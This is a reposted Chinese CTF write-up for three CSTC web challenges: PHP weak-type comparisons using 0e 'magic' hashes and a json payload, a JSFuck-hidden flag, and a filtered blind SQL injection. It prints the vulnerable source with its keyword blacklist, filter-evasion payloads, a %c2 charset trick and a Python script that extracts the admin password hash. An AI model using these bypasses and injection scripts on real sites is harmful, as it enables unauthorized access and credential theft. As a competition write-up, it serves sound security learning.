CSTC-Web-writeup
Posted Mrsm1th
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CSTC-Web-writeup相关的知识,希望对你有一定的参考价值。
0x01 前言
这一次的比赛web题只做出来3个,也是菜的抠脚。。
0x02 web-签到题 php弱类型
查看源码,发现是代码审计,要求用户名必须为字母,密码必须为数字,登陆页面可以用开头为0e的md5值绕过,下面列出一串0e开头的md5值
1 <?php 2 var_dump(md5(\'240610708\') == md5(\'QNKCDZO\')); //bool(true) 3 var_dump(md5(\'aabg7XSs\') == md5(\'aabC9RqS\')); //bool(true) 4 var_dump(sha1(\'aaroZmOk\') == sha1(\'aaK1STfY\')); //bool(true) 5 var_dump(sha1(\'aaO8zKZF\') == sha1(\'aa3OFF9m\')); //bool(true) 6 var_dump(\'0010e2\' == \'1e3\'); //bool(true) 7 var_dump(\'0x1234Ab\' == \'1193131\'); //bool(true) 8 var_dump(\'0xABCdef\' == \' 0xABCdef\'); //bool(true) 9 ?>
这里是利用了php弱类型的漏洞,0e开头的md5值在进行比较的时候,会将0e识别为科学计数法,先做字符串到数字类型的转换,0的很多次方还是0所以相等,绕过
第二部分是代码审计,同样是利用php弱类型 把json_decode中的内容解码之后,将里面的key键所对应的值与$key进行比较,如果正确则返回flag
php在进行数字与字符串比较的时候,会将字符串先转化成数字类型,然后再进行比较
var_dump("admin"==0); //bool(true)
var_dump("0e123"==0); //bool(true)
var_dump("4test"==4); //bool(true)
?>
所以我们的poc是 message={"key":0}即可拿到flag
0x03 web 抽抽奖
在 http://117.34.111.15/js/jQuery.js 中找到了一串jsfuck加密,解密即可拿到flag 推荐两个解jsfuck的网站
https://enkhee-osiris.github.io/Decoder-JSFuck
0x04 web soeasy
1 <?php 2 3 include("config.php"); 4 5 $conn ->query("set names utf8"); 6 7 function randStr($lenth=32){ 8 $strBase = "1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm"; 9 $str = ""; 10 while($lenth>0){ 11 $str.=substr($strBase,rand(0,strlen($strBase)-1),1); 12 $lenth --; 13 } 14 return $str; 15 } 16 17 if($install){ 18 $sql = "create table `user` ( 19 `id` int(10) unsigned NOT NULL PRIMARY KEY AUTO_INCREMENT , 20 `username` varchar(30) NOT NULL, 21 `passwd` varchar(32) NOT NULL, 22 `role` varchar(30) NOT NULL 23 )ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci "; 24 if($conn->query($sql)){ 25 $sql = "insert into `user`(`username`,`passwd`,`role`) values (\'admin\',\'".md5(randStr())."\',\'admin\')"; 26 $conn -> query($sql); 27 } 28 } 29 30 function filter($str){ 31 $filter = "/ |\\*|#|;|,|is|union|like|regexp|for|and|or|file|--|\\||`|&|".urldecode(\'%09\')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode(\'%0c\')."|".urldecode(\'%0d\')."|".urldecode(\'%a0\')."/i"; 32 if(preg_match($filter,$str)){ 33 die("you can\'t input this illegal char!"); 34 } 35 return $str; 36 37 } 38 39 40 function show($username){ 41 global $conn; 42 $sql = "select role from `user` where username =\'".$username."\'"; 43 $res = $conn ->query($sql); 44 if($res->num_rows>0){ 45 46 echo "$username is ".$res->fetch_assoc()[\'role\']; 47 }else{ 48 die("Don\'t have this user!"); 49 } 50 } 51 52 function login($username,$passwd){ 53 global $conn; 54 global $flag; 55 56 $username = trim(strtolower($username)); 57 $passwd = trim(strtolower($passwd)); 58 if($username == \'admin\'){ 59 die("you can\'t login this as admin!"); 60 } 61 62 $sql = "select * from `user` where username=\'".$conn->escape_string($username)."\' and passwd=\'".$conn->escape_string($passwd)."\'"; 63 $res = $conn ->query($sql); 64 if($res->num_rows>0){ 65 if($res->fetch_assoc()[\'role\'] === \'admin\') exit($flag); 66 }else{ 67 echo "sorry,username or passwd error!"; 68 } 69 70 } 71 72 function source(){ 73 74 highlight_file(__FILE__); 75 } 76 77 $username = isset($_POST[\'username\'])?filter($_POST[\'username\']):""; 78 $passwd = isset($_POST[\'passwd\'])?filter($_POST[\'passwd\']):""; 79 80 $action = isset($_GET[\'action\'])?filter($_GET[\'action\']):"source"; 81 82 switch($action){ 83 case "source": source(); break ; 84 case "login" : login($username,$passwd);break; 85 case "show" : show($username);break; 86 }
action 有三种模式 source login show ,source是使代码高亮,login 是需要登陆 ,show 是查找username是否存在
查看源码得知username为admin password为一串随机生成的32字符串的md5值 显然通过login 这里爆破密码是不可取的,并且login要绕过admin,这里参考了p牛的文章,用%c2可以绕过
回归正题这里在login字段有一个$sql语句可以注入,属于盲注,下面这些字段被过滤了
1 <?php 2 * 3 ; 4 , 5 is 6 union 7 like 8 regexp 9 for 10 and 11 or 12 file 13 -- 14 | 15 ` 16 & 17 空格 18 ?>
这道题和swup-CTF的题有点类似
()可以绕过空格,运用select*from xx where xx=\'0\'=\'1\'=\'0\' 然后在1中放入我们的代码就好了
直接放poc
1 #coding=utf-8 2 import requests 3 url=\'http://117.34.111.15:89/index.php?action=show\' 4 string=\'abcdef0123456789\' 5 flag="" 6 for length in range(1,33): 7 for x in string: 8 s=requests.session() 9 payload={"username":"username\'=(select(1)from(user)where(mid((passwd)from(%d))=\'%s%s\'))=\'"%(33-length,x,flag)} 10 if \'admin\' in s.post(url,data=payload).content: 11 flag=x+flag 12 print 33-length,flag
最终将密码的md5值跑出来
login处%c2绕过原理具体请看p牛文章 Mysql字符编码利用技巧
最终getflag
以上是关于CSTC-Web-writeup的主要内容,如果未能解决你的问题,请参考以下文章